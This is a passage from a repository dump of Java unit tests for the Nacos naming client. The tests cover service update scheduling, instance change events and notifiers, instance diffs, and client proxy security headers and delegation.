ServiceInfoUpdateService(nacosClientProperties, holder, proxy, notifier);\n        serviceInfoUpdateService.scheduleUpdateIfAbsent(serviceName, group, clusters);\n        serviceInfoUpdateService.stopUpdateIfContain(serviceName, group, clusters);\n        TimeUnit.MILLISECONDS.sleep(1500);\n        Mockito.verify(proxy, Mockito.never()).queryInstancesOfService(serviceName, group, clusters, false);\n    }\n    \n    @Test\n    void testStopUpdateIfContainWithoutOpen() throws NacosException, InterruptedException {\n        serviceInfoUpdateService = new ServiceInfoUpdateService(nacosClientProperties, holder, proxy, notifier);\n        serviceInfoUpdateService.scheduleUpdateIfAbsent(serviceName, group, clusters);\n        TimeUnit.MILLISECONDS.sleep(1500);\n        Mockito.verify(proxy, Mockito.never()).queryInstancesOfService(serviceName, group, clusters, false);\n        serviceInfoUpdateService.stopUpdateIfContain(serviceName, group, clusters);\n        serviceInfoUpdateService.shutdown();\n    }\n    \n    private ScheduledFuture getScheduleFuture() throws NoSuchFieldException, IllegalAccessException {\n        Field field = serviceInfoUpdateService.getClass().getDeclaredField(\"executor\");\n        field.setAccessible(true);\n        ScheduledThreadPoolExecutor executorService = (ScheduledThreadPoolExecutor) field.get(serviceInfoUpdateService);\n        return (ScheduledFuture) executorService.getQueue().peek();\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/event/InstancesChangeEventTest.java",
    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.event;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass InstancesChangeEventTest {\n    \n    @Test\n    void testGetServiceName() {\n        String eventScope = \"scope-001\";\n        String serviceName = \"a\";\n        String groupName = \"b\";\n        String clusters = \"c\";\n        List<Instance> hosts = new ArrayList<>();\n        Instance ins = new Instance();\n        hosts.add(ins);\n        InstancesDiff diff = new InstancesDiff();\n        diff.setAddedInstances(hosts);\n        InstancesChangeEvent event = new InstancesChangeEvent(eventScope, serviceName, groupName, clusters, hosts,\n                diff);\n        assertEquals(eventScope, event.scope());\n        assertEquals(serviceName, event.getServiceName());\n        assertEquals(clusters, event.getClusters());\n        assertEquals(groupName, event.getGroupName());\n        List<Instance> hosts1 = event.getHosts();\n        assertEquals(hosts.size(), hosts1.size());\n        assertEquals(hosts.get(0), hosts1.get(0));\n        InstancesDiff diff1 = event.getInstancesDiff();\n        assertTrue(diff1.hasDifferent());\n        assertEquals(diff.getAddedInstances().size(), diff1.getAddedInstances().size());\n        assertEquals(diff.getAddedInstances().get(0), diff.getAddedInstances().get(0));\n        assertEquals(diff.getRemovedInstances().size(), diff1.getRemovedInstances().size());\n        assertEquals(diff.getModifiedInstances().size(), diff1.getModifiedInstances().size());\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/event/InstancesChangeNotifierTest.java",
    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.event;\n\nimport com.alibaba.nacos.api.naming.listener.AbstractEventListener;\nimport com.alibaba.nacos.api.naming.listener.EventListener;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.api.naming.selector.NamingSelector;\nimport com.alibaba.nacos.client.naming.selector.DefaultNamingSelector;\nimport com.alibaba.nacos.client.naming.selector.NamingSelectorFactory;\nimport com.alibaba.nacos.client.naming.selector.NamingSelectorWrapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.mockito.Mockito;\n\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.List;\nimport java.util.concurrent.Executor;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.when;\n\nclass InstancesChangeNotifierTest {\n    \n    private static final String EVENT_SCOPE_CASE = \"scope-001\";\n    \n    private static final String GROUP_CASE = \"a\";\n    \n    private static final String SERVICE_NAME_CASE = \"b\";\n    \n    private static final String CLUSTER_STR_CASE = \"c\";\n    \n    InstancesChangeNotifier instancesChangeNotifier;\n    \n    @BeforeEach\n    public void setUp() {\n        instancesChangeNotifier = new InstancesChangeNotifier(EVENT_SCOPE_CASE);\n    }\n    \n    @Test\n    void testRegisterListener() {\n        List<String> clusters = Collections.singletonList(CLUSTER_STR_CASE);\n        EventListener listener = Mockito.mock(EventListener.class);\n        NamingSelector selector = NamingSelectorFactory.newClusterSelector(clusters);\n        NamingSelectorWrapper wrapper = new NamingSelectorWrapper(SERVICE_NAME_CASE, GROUP_CASE, CLUSTER_STR_CASE,\n                selector, listener);\n        instancesChangeNotifier.registerListener(GROUP_CASE, SERVICE_NAME_CASE, wrapper);\n        List<ServiceInfo> subscribeServices = instancesChangeNotifier.getSubscribeServices();\n        assertEquals(1, subscribeServices.size());\n        assertEquals(GROUP_CASE, subscribeServices.get(0).getGroupName());\n        assertEquals(SERVICE_NAME_CASE, subscribeServices.get(0).getName());\n        assertNull(subscribeServices.get(0).getClusters());\n        \n        List<Instance> hosts = new ArrayList<>();\n        Instance ins = new Instance();\n        hosts.add(ins);\n        InstancesDiff diff = new InstancesDiff();\n        diff.setAddedInstances(hosts);\n        InstancesChangeEvent event = new InstancesChangeEvent(EVENT_SCOPE_CASE, SERVICE_NAME_CASE, GROUP_CASE,\n                CLUSTER_STR_CASE, hosts, diff);\n        assertTrue(instancesChangeNotifier.scopeMatches(event));\n    }\n    \n    @Test\n    void testDeregisterListener() {\n        List<String> clusters = Collections.singletonList(CLUSTER_STR_CASE);\n        EventListener listener = Mockito.mock(EventListener.class);\n        NamingSelector selector = NamingSelectorFactory.newClusterSelector(clusters);\n        NamingSelectorWrapper wrapper = new NamingSelectorWrapper(selector, listener);\n        instancesChangeNotifier.registerListener(GROUP_CASE, SERVICE_NAME_CASE, wrapper);\n        List<ServiceInfo> subscribeServices = instancesChangeNotifier.getSubscribeServices();\n        assertEquals(1, subscribeServices.size());\n        \n        instancesChangeNotifier.deregisterListener(GROUP_CASE, SERVICE_NAME_CASE, wrapper);\n        \n        List<ServiceInfo> subscribeServices2 = instancesChangeNotifier.getSubscribeServices();\n        assertEquals(0, subscribeServices2.size());\n    }\n    \n    @Test\n    void testIsSubscribed() {\n        List<String> clusters = Collections.singletonList(CLUSTER_STR_CASE);\n        EventListener listener = Mockito.mock(EventListener.class);\n        NamingSelector selector = NamingSelectorFactory.newClusterSelector(clusters);\n        assertFalse(instancesChangeNotifier.isSubscribed(GROUP_CASE, SERVICE_NAME_CASE));\n        \n        NamingSelectorWrapper wrapper = new NamingSelectorWrapper(SERVICE_NAME_CASE, GROUP_CASE, CLUSTER_STR_CASE,\n                selector, listener);\n        instancesChangeNotifier.registerListener(GROUP_CASE, SERVICE_NAME_CASE, wrapper);\n        assertTrue(instancesChangeNotifier.isSubscribed(GROUP_CASE, SERVICE_NAME_CASE));\n    }\n    \n    @Test\n    void testOnEvent() {\n        List<String> clusters = Collections.singletonList(CLUSTER_STR_CASE);\n        NamingSelector selector = NamingSelectorFactory.newClusterSelector(clusters);\n        EventListener listener = Mockito.mock(EventListener.class);\n        \n        NamingSelectorWrapper wrapper = new NamingSelectorWrapper(SERVICE_NAME_CASE, GROUP_CASE, CLUSTER_STR_CASE,\n                selector, listener);\n        instancesChangeNotifier.registerListener(GROUP_CASE, SERVICE_NAME_CASE, wrapper);\n        Instance instance = new Instance();\n        InstancesDiff diff = new InstancesDiff(null, Collections.singletonList(instance), null);\n        instance.setClusterName(CLUSTER_STR_CASE);\n        InstancesChangeEvent event1 = new InstancesChangeEvent(null, SERVICE_NAME_CASE, GROUP_CASE, CLUSTER_STR_CASE,\n                Collections.emptyList(), diff);\n        instancesChangeNotifier.onEvent(event1);\n        Mockito.verify(listener, times(1)).onEvent(any());\n    }\n    \n    @Test\n    void testOnEventWithoutListener() {\n        InstancesChangeEvent event1 = Mockito.mock(InstancesChangeEvent.class);\n        when(event1.getClusters()).thenReturn(CLUSTER_STR_CASE);\n        when(event1.getGroupName()).thenReturn(GROUP_CASE);\n        when(event1.getServiceName()).thenReturn(SERVICE_NAME_CASE);\n        EventListener listener = Mockito.mock(EventListener.class);\n        instancesChangeNotifier.registerListener(GROUP_CASE, SERVICE_NAME_CASE + \"c\", new NamingSelectorWrapper(\n                NamingSelectorFactory.newClusterSelector(Collections.singletonList(CLUSTER_STR_CASE)), listener));\n        instancesChangeNotifier.onEvent(event1);\n        Mockito.verify(listener, never()).onEvent(any());\n    }\n    \n    @Test\n    void testOnEventByExecutor() {\n        AbstractEventListener listener = Mockito.mock(AbstractEventListener.class);\n        Executor executor = mock(Executor.class);\n        when(listener.getExecutor()).thenReturn(executor);\n        \n        instancesChangeNotifier.registerListener(GROUP_CASE, SERVICE_NAME_CASE,\n                new NamingSelectorWrapper(new DefaultNamingSelector(instance -> true), listener));\n        InstancesDiff instancesDiff = new InstancesDiff();\n        instancesDiff.setRemovedInstances(Collections.singletonList(new Instance()));\n        InstancesChangeEvent event = new InstancesChangeEvent(EVENT_SCOPE_CASE, SERVICE_NAME_CASE, GROUP_CASE,\n                CLUSTER_STR_CASE, new ArrayList<>(), instancesDiff);\n        instancesChangeNotifier.onEvent(event);\n        Mockito.verify(executor).execute(any());\n    }\n    \n    @Test\n    void testSubscribeType() {\n        assertEquals(InstancesChangeEvent.class, instancesChangeNotifier.subscribeType());\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/event/InstancesDiffTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.event;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.builder.InstanceBuilder;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.List;\nimport java.util.Random;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\npublic class InstancesDiffTest {\n    \n    private static List<Instance> getInstanceList(int count) {\n        ArrayList<Instance> list = new ArrayList<>(count);\n        for (int i = 0; i < count; i++) {\n            list.add(new Instance());\n        }\n        return list;\n    }\n    \n    @Test\n    public void testGetDiff() {\n        String serviceName = \"testService\";\n        Instance addedIns = InstanceBuilder.newBuilder().setServiceName(serviceName).setClusterName(\"a\").build();\n        Instance removedIns = InstanceBuilder.newBuilder().setServiceName(serviceName).setClusterName(\"b\").build();\n        Instance modifiedIns = InstanceBuilder.newBuilder().setServiceName(serviceName).setClusterName(\"c\").build();\n        \n        InstancesDiff instancesDiff = new InstancesDiff();\n        instancesDiff.setAddedInstances(Collections.singletonList(addedIns));\n        instancesDiff.setRemovedInstances(Collections.singletonList(removedIns));\n        instancesDiff.setModifiedInstances(Collections.singletonList(modifiedIns));\n        \n        assertTrue(instancesDiff.hasDifferent());\n        assertTrue(instancesDiff.isAdded());\n        assertTrue(instancesDiff.isRemoved());\n        assertTrue(instancesDiff.isModified());\n        assertEquals(addedIns, instancesDiff.getAddedInstances().get(0));\n        assertEquals(removedIns, instancesDiff.getRemovedInstances().get(0));\n        assertEquals(modifiedIns, instancesDiff.getModifiedInstances().get(0));\n    }\n    \n    @Test\n    public void testWithFullConstructor() {\n        Random random = new Random();\n        int addedCount = random.nextInt(32) + 1;\n        int removedCount = random.nextInt(32) + 1;\n        int modifiedCount = random.nextInt(32) + 1;\n        InstancesDiff instancesDiff = new InstancesDiff(getInstanceList(addedCount), getInstanceList(removedCount),\n                getInstanceList(modifiedCount));\n        \n        assertTrue(instancesDiff.hasDifferent());\n        assertTrue(instancesDiff.isAdded());\n        assertTrue(instancesDiff.isRemoved());\n        assertTrue(instancesDiff.isModified());\n        assertEquals(addedCount, instancesDiff.getAddedInstances().size());\n        assertEquals(removedCount, instancesDiff.getRemovedInstances().size());\n        assertEquals(modifiedCount, instancesDiff.getModifiedInstances().size());\n        instancesDiff.getAddedInstances().clear();\n        instancesDiff.getRemovedInstances().clear();\n        instancesDiff.getModifiedInstances().clear();\n        assertFalse(instancesDiff.hasDifferent());\n        assertFalse(instancesDiff.hasDifferent());\n        assertFalse(instancesDiff.isAdded());\n        assertFalse(instancesDiff.isRemoved());\n        assertFalse(instancesDiff.isModified());\n    }\n    \n    @Test\n    public void testWithNoConstructor() {\n        Random random = new Random();\n        int addedCount = random.nextInt(32) + 1;\n        int removedCount = random.nextInt(32) + 1;\n        int modifiedCount = random.nextInt(32) + 1;\n        InstancesDiff instancesDiff = new InstancesDiff();\n        instancesDiff.setAddedInstances(getInstanceList(addedCount));\n        instancesDiff.setRemovedInstances(getInstanceList(removedCount));\n        instancesDiff.setModifiedInstances(getInstanceList(modifiedCount));\n        \n        assertTrue(instancesDiff.hasDifferent());\n        assertEquals(addedCount, instancesDiff.getAddedInstances().size());\n        assertEquals(removedCount, instancesDiff.getRemovedInstances().size());\n        assertEquals(modifiedCount, instancesDiff.getModifiedInstances().size());\n        instancesDiff.getAddedInstances().clear();\n        instancesDiff.getRemovedInstances().clear();\n        instancesDiff.getModifiedInstances().clear();\n        assertFalse(instancesDiff.hasDifferent());\n        assertFalse(instancesDiff.isAdded());\n        assertFalse(instancesDiff.isRemoved());\n        assertFalse(instancesDiff.isModified());\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/listener/NamingChangeEventTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.listener;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.client.naming.event.InstancesDiff;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\n\npublic class NamingChangeEventTest {\n    \n    private MockNamingEventListener eventListener;\n    \n    private InstancesDiff instancesDiff;\n    \n    @BeforeEach\n    public void setUp() throws Exception {\n        eventListener = new MockNamingEventListener();\n        instancesDiff = new InstancesDiff();\n        instancesDiff.setAddedInstances(Arrays.asList(new Instance(), new Instance(), new Instance()));\n        instancesDiff.setRemovedInstances(Arrays.asList(new Instance(), new Instance()));\n        instancesDiff.setModifiedInstances(Arrays.asList(new Instance()));\n    }\n    \n    @Test\n    public void testNamingChangeEventWithSimpleConstructor() {\n        NamingChangeEvent event = new NamingChangeEvent(\"serviceName\", Collections.EMPTY_LIST, instancesDiff);\n        assertEquals(\"serviceName\", event.getServiceName());\n        assertNull(event.getGroupName());\n        assertNull(event.getClusters());\n        assertTrue(event.getInstances().isEmpty());\n        assertTrue(event.isAdded());\n        assertEquals(3, event.getAddedInstances().size());\n        assertTrue(event.isRemoved());\n        assertEquals(2, event.getRemovedInstances().size());\n        assertTrue(event.isModified());\n        assertEquals(1, event.getModifiedInstances().size());\n        eventListener.onEvent(event);\n        assertNull(event.getServiceName());\n        assertNull(event.getGroupName());\n        assertNull(event.getClusters());\n        assertNull(event.getInstances());\n        assertFalse(event.isAdded());\n        assertEquals(0, event.getAddedInstances().size());\n        assertFalse(event.isRemoved());\n        assertEquals(0, event.getRemovedInstances().size());\n        assertFalse(event.isModified());\n        assertEquals(0, event.getRemovedInstances().size());\n    }\n    \n    @Test\n    public void testNamingChangeEventWithFullConstructor() {\n        NamingChangeEvent event = new NamingChangeEvent(\"serviceName\", \"group\", \"clusters\", Collections.EMPTY_LIST,\n                instancesDiff);\n        assertEquals(\"serviceName\", event.getServiceName());\n        assertEquals(\"group\", event.getGroupName());\n        assertEquals(\"clusters\", event.getClusters());\n        assertTrue(event.getInstances().isEmpty());\n        assertTrue(event.isAdded());\n        assertEquals(3, event.getAddedInstances().size());\n        assertTrue(event.isRemoved());\n        assertEquals(2, event.getRemovedInstances().size());\n        assertTrue(event.isModified());\n        assertEquals(1, event.getModifiedInstances().size());\n        eventListener.onEvent(event);\n        assertNull(event.getServiceName());\n        assertNull(event.getGroupName());\n        assertNull(event.getClusters());\n        assertNull(event.getInstances());\n        assertFalse(event.isAdded());\n        assertEquals(0, event.getAddedInstances().size());\n        assertFalse(event.isRemoved());\n        assertEquals(0, event.getRemovedInstances().size());\n        assertFalse(event.isModified());\n        assertEquals(0, event.getRemovedInstances().size());\n    }\n    \n    @Test\n    public void testGetChanges() {\n        NamingChangeEvent event = new NamingChangeEvent(\"serviceName\", Collections.EMPTY_LIST, instancesDiff);\n        assertTrue(event.isAdded());\n        assertEquals(3, event.getAddedInstances().size());\n        event.getAddedInstances().clear();\n        assertFalse(event.isAdded());\n        assertEquals(0, event.getAddedInstances().size());\n        \n        assertTrue(event.isRemoved());\n        assertEquals(2, event.getRemovedInstances().size());\n        event.getRemovedInstances().clear();\n        assertFalse(event.isRemoved());\n        assertEquals(0, event.getRemovedInstances().size());\n        \n        assertTrue(event.isModified());\n        assertEquals(1, event.getModifiedInstances().size());\n        event.getModifiedInstances().clear();\n        assertFalse(event.isModified());\n        assertEquals(0, event.getRemovedInstances().size());\n    }\n    \n    private static class MockNamingEventListener extends AbstractNamingChangeListener {\n        \n        @Override\n        public void onChange(NamingChangeEvent event) {\n            assertNull(getExecutor());\n            event.setServiceName(null);\n            event.setGroupName(null);\n            event.setClusters(null);\n            event.setInstances(null);\n            event.getAddedInstances().clear();\n            event.getRemovedInstances().clear();\n            event.getModifiedInstances().clear();\n        }\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/remote/AbstractNamingClientProxyTest.java",
    "content": "/*\n *\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.client.naming.remote;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ListView;\nimport com.alibaba.nacos.api.naming.pojo.Service;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.api.selector.AbstractSelector;\nimport com.alibaba.nacos.client.address.ServerListChangeEvent;\nimport com.alibaba.nacos.client.auth.ram.utils.SignUtil;\nimport com.alibaba.nacos.client.security.SecurityProxy;\nimport com.alibaba.nacos.client.utils.AppNameUtils;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.plugin.auth.api.RequestResource;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass AbstractNamingClientProxyTest {\n    \n    @Mock\n    private SecurityProxy sc;\n    \n    /**\n     * test get security headers for accessToken.\n     */\n    @Test\n    void testGetSecurityHeadersForAccessToken() {\n        AbstractNamingClientProxy proxy = new MockNamingClientProxy(sc);\n        String token = \"aa\";\n        Map<String, String> keyMap = new HashMap<>();\n        keyMap.put(Constants.ACCESS_TOKEN, token);\n        when(sc.getIdentityContext(any(RequestResource.class))).thenReturn(keyMap);\n        Map<String, String> securityHeaders = proxy.getSecurityHeaders(\"\", \"\", \"\");\n        assertEquals(2, securityHeaders.size());\n        assertEquals(token, securityHeaders.get(Constants.ACCESS_TOKEN));\n        assertEquals(AppNameUtils.getAppName(), securityHeaders.get(\"app\"));\n    }\n    \n    /**\n     * get security headers for ram.\n     *\n     * @throws Exception exception\n     */\n    @Test\n    void testGetSecurityHeadersForRam() throws Exception {\n        String ak = \"aa\";\n        String sk = \"bb\";\n        Map<String, String> mockIdentityContext = new HashMap<>();\n        String serviceName = \"aaa\";\n        mockIdentityContext.put(\"ak\", ak);\n        String data = System.currentTimeMillis() + \"@@\" + serviceName;\n        mockIdentityContext.put(\"data\", data);\n        mockIdentityContext.put(\"signature\", SignUtil.sign(data, sk));\n        when(sc.getIdentityContext(any(RequestResource.class))).thenReturn(mockIdentityContext);\n        AbstractNamingClientProxy proxy = new MockNamingClientProxy(sc);\n        Map<String, String> spasHeaders = proxy.getSecurityHeaders(\"\", \"\", serviceName);\n        assertEquals(4, spasHeaders.size());\n        assertEquals(AppNameUtils.getAppName(), spasHeaders.get(\"app\"));\n        assertEquals(ak, spasHeaders.get(\"ak\"));\n        assertTrue(spasHeaders.get(\"data\").endsWith(\"@@\" + serviceName));\n        String expectSign = SignUtil.sign(spasHeaders.get(\"data\"), sk);\n        assertEquals(expectSign, spasHeaders.get(\"signature\"));\n        \n    }\n    \n    private class MockNamingClientProxy extends AbstractNamingClientProxy {\n        \n        protected MockNamingClientProxy(SecurityProxy securityProxy) {\n            super(securityProxy);\n        }\n        \n        @Override\n        public void registerService(String serviceName, String groupName, Instance instance) throws NacosException {\n        \n        }\n        \n        @Override\n        public void batchRegisterService(String serviceName, String groupName, List<Instance> instances)\n                throws NacosException {\n            \n        }\n        \n        @Override\n        public void batchDeregisterService(String serviceName, String groupName, List<Instance> instances)\n                throws NacosException {\n            \n        }\n        \n        @Override\n        public void deregisterService(String serviceName, String groupName, Instance instance) throws NacosException {\n        \n        }\n        \n        @Override\n        public void updateInstance(String serviceName, String groupName, Instance instance) throws NacosException {\n        \n        }\n        \n        @Override\n        public ServiceInfo queryInstancesOfService(String serviceName, String groupName, String clusters,\n                boolean healthyOnly) throws NacosException {\n            return null;\n        }\n        \n        @Override\n        public Service queryService(String serviceName, String groupName) throws NacosException {\n            return null;\n        }\n        \n        @Override\n        public void createService(Service service, AbstractSelector selector) throws NacosException {\n        \n        }\n        \n        @Override\n        public boolean deleteService(String serviceName, String groupName) throws NacosException {\n            return false;\n        }\n        \n        @Override\n        public void updateService(Service service, AbstractSelector selector) throws NacosException {\n        \n        }\n        \n        @Override\n        public ListView<String> getServiceList(int pageNo, int pageSize, String groupName, AbstractSelector selector)\n                throws NacosException {\n            return null;\n        }\n        \n        @Override\n        public ServiceInfo subscribe(String serviceName, String groupName, String clusters) throws NacosException {\n            return null;\n        }\n        \n        @Override\n        public void unsubscribe(String serviceName, String groupName, String clusters) throws NacosException {\n        \n        }\n        \n        @Override\n        public boolean isSubscribed(String serviceName, String groupName, String clusters) throws NacosException {\n            return false;\n        }\n        \n        @Override\n        public boolean serverHealthy() {\n            return false;\n        }\n        \n        @Override\n        public void shutdown() throws NacosException {\n        \n        }\n        \n        @Override\n        public void onEvent(ServerListChangeEvent event) {\n        \n        }\n        \n        @Override\n        public Class<? extends Event> subscribeType() {\n            return null;\n        }\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/remote/NamingClientProxyDelegateTest.java",
    "content": "/*\n *\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.client.naming.remote;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.Service;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.api.selector.AbstractSelector;\nimport com.alibaba.nacos.api.selector.ExpressionSelector;\nimport com.alibaba.nacos.api.selector.NoneSelector;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.naming.cache.NamingFuzzyWatchServiceListHolder;\nimport com.alibaba.nacos.client.naming.cache.ServiceInfoHolder;\nimport com.alibaba.nacos.client.naming.event.InstancesChangeNotifier;\nimport com.alibaba.nacos.client.naming.remote.gprc.NamingGrpcClientProxy;\nimport com.alibaba.nacos.client.naming.remote.http.NamingHttpClientProxy;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.Assertions;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.lang.reflect.Field;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.reset;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass NamingClientProxyDelegateTest {\n    \n    private static final String TEST_NAMESPACE = \"ns1\";\n    \n    @Mock\n    ServiceInfoHolder holder;\n    \n    @Mock\n    NamingGrpcClientProxy mockGrpcClient;\n    \n    @Mock\n    NamingFuzzyWatchServiceListHolder namingFuzzyWatchServiceListHolder;\n    \n    NamingClientProxyDelegate delegate;\n    \n    InstancesChangeNotifier notifier;\n    \n    NacosClientProperties nacosClientProperties;\n    \n    @BeforeEach\n    void setUp() throws NacosException, NoSuchFieldException, IllegalAccessException {\n        Properties props = new Properties();\n        props.setProperty(\"serverAddr\", \"localhost\");\n        nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(props);\n        notifier = new InstancesChangeNotifier();\n        delegate = new NamingClientProxyDelegate(TEST_NAMESPACE, holder, nacosClientProperties, notifier,\n                namingFuzzyWatchServiceListHolder);\n        Field grpcClientProxyField = NamingClientProxyDelegate.class.getDeclaredField(\"grpcClientProxy\");\n        grpcClientProxyField.setAccessible(true);\n        grpcClientProxyField.set(delegate, mockGrpcClient);\n    }\n    \n    @AfterEach\n    void tearDown() throws NacosException {\n        delegate.shutdown();\n    }\n    \n    @Test\n    void testRegisterEphemeralServiceByGrpc() throws NacosException {\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        Instance instance = new Instance();\n        instance.setServiceName(serviceName);\n        instance.setClusterName(groupName);\n        instance.setIp(\"1.1.1.1\");\n        instance.setPort(1);\n        instance.setEphemeral(true);\n        delegate.registerService(serviceName, groupName, instance);\n        verify(mockGrpcClient, times(1)).registerService(serviceName, groupName, instance);\n    }\n    \n    @Test\n    void 